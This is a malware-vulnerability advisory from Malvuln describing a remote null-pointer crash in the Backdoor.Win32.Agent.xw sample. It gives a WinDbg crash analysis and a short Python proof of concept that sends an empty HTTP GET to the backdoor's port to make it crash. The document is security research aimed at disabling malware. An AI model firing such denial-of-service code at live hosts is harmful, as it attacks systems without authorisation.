Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ed4242ad0274d3b311d8722f10b3abea.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.xw
Vulnerability: Remote Null Ptr Dereference - Denial of Service
Description: Sending an empty HTTP GET request triggers a null pointer dereference and access violation leading to a crash of the backdoor malware.
Type: PE32
MD5: ed4242ad0274d3b311d8722f10b3abea
Vuln ID: MVID-2021-0107
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/23/2021

Memory Dump:
(1264.d0): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000000 esi=00000003 edi=00000003
eip=7710ed3c esp=0266e844 ebp=0266e9d4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400          ret     14h


0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4
00404ee4 8b420c          mov     eax,dword ptr [edx+0Ch]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00404ee4 (Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x00004ee4)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0000000c
Attempt to read from address 0000000c

PROCESS_NAME:  Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  0000000c

READ_ADDRESS:  0000000c 

FOLLOWUP_IP: 
Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4
00404ee4 8b420c          mov     eax,dword ptr [edx+0Ch]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000000d0

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 004021f9 to 00404ee4

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0266f160 004021f9 00000000 0266f220 00411558 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x4ee4
0266f248 770e1659 00000008 00000000 ffffffff Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x21f9
0266f288 770e13ee 00000000 770e13ee 00000000 ntdll!RtlpAllocateHeapInternal+0x259
0266f2e8 0040806c 03f204a0 0266f33c 004097f4 ntdll!RtlAllocateHeap+0x3e
0266f2f4 004097f4 0000000b 0266f318 0000000b Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x806c
0266f33c 0040f08e 0266fe38 0041079c ffffffff Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x97f4
0266f5d0 00401e48 0266fe30 0266f5f8 0266fe30 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0xf08e
0266ff80 76198654 03f202d0 76198630 b74a0958 Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+0x1e48
0266ff94 77104a77 03f202d0 35eaa03b 00000000 kernel32!BaseThreadInitThunk+0x24
0266ffdc 77104a47 ffffffff 77129ed6 00000000 ntdll!__RtlUserThreadStart+0x2f
0266ffec 00000000 004073db 03f202d0 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea

IMAGE_NAME:  Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  400acf83

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Backdoor.Win32.Agent.xw.ed4242ad0274d3b311d8722f10b3abea.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Backdoor_Win32_Agent_xw_ed4242ad0274d3b311d8722f10b3abea+4ee4



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=7001


def doit():
    
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    P="GET / HTTP/1.0"
    s.send(P)
    s.close()
    
    print("Backdoor.Win32.Agent.xw / Null Ptr Dereference DoS")
    print("MD5: ed4242ad0274d3b311d8722f10b3abea")
    print("By Malvuln");


if __name__=="__main__":
    doit()



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